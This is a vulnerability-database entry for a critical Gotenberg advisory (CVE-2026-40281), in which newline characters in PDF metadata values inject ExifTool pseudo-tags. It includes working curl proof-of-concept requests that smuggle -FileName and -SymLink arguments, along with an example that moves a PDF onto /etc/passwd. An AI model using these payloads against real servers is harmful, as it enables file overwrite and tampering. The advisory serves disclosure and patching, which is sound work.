GHSA-Q7R4-HC83-HF2Q
Vulnerability from github – Published: 2026-04-30 17:27 – Updated: 2026-05-08 19:26Vulnerability Details
CWE: CWE-20 - Improper Input Validation
The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.
Summary
The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent.
Root Cause
pkg/modules/exiftool/exiftool.go — WriteMetadata() function:
// KEY validation added in v8.30.1 (commit 405f106)
for key := range metadata {
if !safeKeyPattern.MatchString(key) { // ← only keys checked
return fmt.Errorf(...)
}
}
// VALUE passed through unsanitized:
case string:
fileMetadata[0].SetString(key, val) // ← val may contain \n
go-exiftool (barasher/go-exiftool) then writes:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
// If str = "test\n-FileName=/tmp/inject_proof"
// ExifTool receives two lines:
// -Title=test
// -FileName=/tmp/inject_proof
Steps to Reproduce
1. Start Gotenberg:
docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8
2. Create a test PDF:
curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
-o test.pdf http://localhost:3001/forms/chromium/convert/html \
<<< '<html><body>test</body></html>'
3. Inject -FileName via value newline:
curl -s -w "\nHTTP %{http_code}" \
-F 'files=@test.pdf;type=application/pdf' \
-F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
http://localhost:3001/forms/pdfengines/metadata/write
# Returns HTTP 404 (file moved away from temp path)
4. Verify injection inside container:
docker exec gotenberg-test ls -la /tmp/inject_proof
# -rw-r--r-- 1 root root ... /tmp/inject_proof (PDF moved here)
5. Symlink injection:
curl -s -w "\nHTTP %{http_code}" \
-F 'files=@test.pdf;type=application/pdf' \
-F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
http://localhost:3001/forms/pdfengines/metadata/write
docker exec gotenberg-test ls -la /tmp/sym_inject
# lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf
Impact
An unauthenticated attacker can:
- Rename/move any PDF being processed to an arbitrary path in the container filesystem (running as root by default)
- Overwrite arbitrary files — e.g.,
-Directory=/etc/ -FileName=passwdinjects two lines, moving the PDF to/etc/passwd, corrupting the system user database - Create symlinks at arbitrary paths via
-SymLink=, enabling subsequent read/write primitives - Create hard links via
-HardLink=, persisting data beyond temp directory cleanup
This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the = sign.
Proposed Fix
Add value sanitization parallel to the existing key check in WriteMetadata:
for key, value := range metadata {
if !safeKeyPattern.MatchString(key) {
return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
}
if str, ok := value.(string); ok {
if strings.ContainsAny(str, "\n\r\x00") {
return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)
}
}
}
Or, apply the same safeKeyPattern logic to string values, or percent-encode newlines before passing to go-exiftool.
Vulnerable Code
// See description for details
Steps to Reproduce
- Set up the application using the default configuration
- See the vulnerability details above
Impact
This vulnerability may allow an attacker to compromise the application.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.30.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40281"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-30T17:27:10Z",
"nvd_published_at": "2026-05-06T21:16:01Z",
"severity": "CRITICAL"
},
"details": "## Vulnerability Details\n\n**CWE**: CWE-20 - Improper Input Validation\n\nThe metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str). A newline (\\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.\n\n## Summary\n\nThe metadata write endpoint in v8.30.1 validates metadata **keys** for control characters (commit 405f106) but leaves metadata **values** unsanitized. go-exiftool\u0027s `WriteMetadata` sends each key/value pair to ExifTool\u0027s stdin as:\n\n```\nfmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n```\n\nA `\\n` character in `str` splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of `-FileName`, `-Directory`, `-SymLink`, `-HardLink`, and other dangerous pseudo-tags \u2014 the exact tags the key blocklist was designed to prevent.\n\n## Root Cause\n\n`pkg/modules/exiftool/exiftool.go` \u2014 `WriteMetadata()` function:\n\n```go\n// KEY validation added in v8.30.1 (commit 405f106)\nfor key := range metadata {\n if !safeKeyPattern.MatchString(key) { // \u2190 only keys checked\n return fmt.Errorf(...)\n }\n}\n\n// VALUE passed through unsanitized:\ncase string:\n fileMetadata[0].SetString(key, val) // \u2190 val may contain \\n\n```\n\ngo-exiftool (`barasher/go-exiftool`) then writes:\n\n```go\nfmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n// If str = \"test\\n-FileName=/tmp/inject_proof\"\n// ExifTool receives two lines:\n// -Title=test\n// -FileName=/tmp/inject_proof\n```\n\n## Steps to Reproduce\n\n```\n1. Start Gotenberg:\n docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8\n\n2. Create a test PDF:\n curl -s -F \u0027files=@/dev/stdin;filename=index.html;type=text/html\u0027 \\\n -o test.pdf http://localhost:3001/forms/chromium/convert/html \\\n \u003c\u003c\u003c \u0027\u003chtml\u003e\u003cbody\u003etest\u003c/body\u003e\u003c/html\u003e\u0027\n\n3. Inject -FileName via value newline:\n curl -s -w \"\\nHTTP %{http_code}\" \\\n -F \u0027files=@test.pdf;type=application/pdf\u0027 \\\n -F \u0027metadata={\"Title\":\"test\\n-FileName=/tmp/inject_proof\"}\u0027 \\\n http://localhost:3001/forms/pdfengines/metadata/write\n # Returns HTTP 404 (file moved away from temp path)\n\n4. Verify injection inside container:\n docker exec gotenberg-test ls -la /tmp/inject_proof\n # -rw-r--r-- 1 root root ... /tmp/inject_proof (PDF moved here)\n\n5. Symlink injection:\n curl -s -w \"\\nHTTP %{http_code}\" \\\n -F \u0027files=@test.pdf;type=application/pdf\u0027 \\\n -F \u0027metadata={\"Title\":\"test\\n-SymLink=/tmp/sym_inject\"}\u0027 \\\n http://localhost:3001/forms/pdfengines/metadata/write\n docker exec gotenberg-test ls -la /tmp/sym_inject\n # lrwxrwxrwx ... /tmp/sym_inject -\u003e /tmp/.../source.pdf\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n1. **Rename/move** any PDF being processed to an arbitrary path in the container filesystem (running as root by default)\n2. **Overwrite** arbitrary files \u2014 e.g., `-Directory=/etc/ -FileName=passwd` injects two lines, moving the PDF to `/etc/passwd`, corrupting the system user database\n3. **Create symlinks** at arbitrary paths via `-SymLink=`, enabling subsequent read/write primitives\n4. **Create hard links** via `-HardLink=`, persisting data beyond temp directory cleanup\n\nThis is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the `=` sign.\n\n## Proposed Fix\n\nAdd value sanitization parallel to the existing key check in `WriteMetadata`:\n\n```go\nfor key, value := range metadata {\n if !safeKeyPattern.MatchString(key) {\n return fmt.Errorf(\"write PDF metadata with ExifTool: invalid metadata key %q\", key)\n }\n if str, ok := value.(string); ok {\n if strings.ContainsAny(str, \"\\n\\r\\x00\") {\n return fmt.Errorf(\"write PDF metadata with ExifTool: invalid value for key %q (contains control character)\", key)\n }\n }\n}\n```\n\nOr, apply the same `safeKeyPattern` logic to string values, or percent-encode newlines before passing to go-exiftool.\n\n### Vulnerable Code\n\n```go\n// See description for details\n```\n\n## Steps to Reproduce\n\n1. Set up the application using the default configuration\n2. See the vulnerability details above\n\n\n## Impact\n\nThis vulnerability may allow an attacker to compromise the application.",
"id": "GHSA-q7r4-hc83-hf2q",
"modified": "2026-05-08T19:26:57Z",
"published": "2026-04-30T17:27:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40281"
},
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/commit/405f1069c026bb08f319fb5a44e5c67c33208318"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
},
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.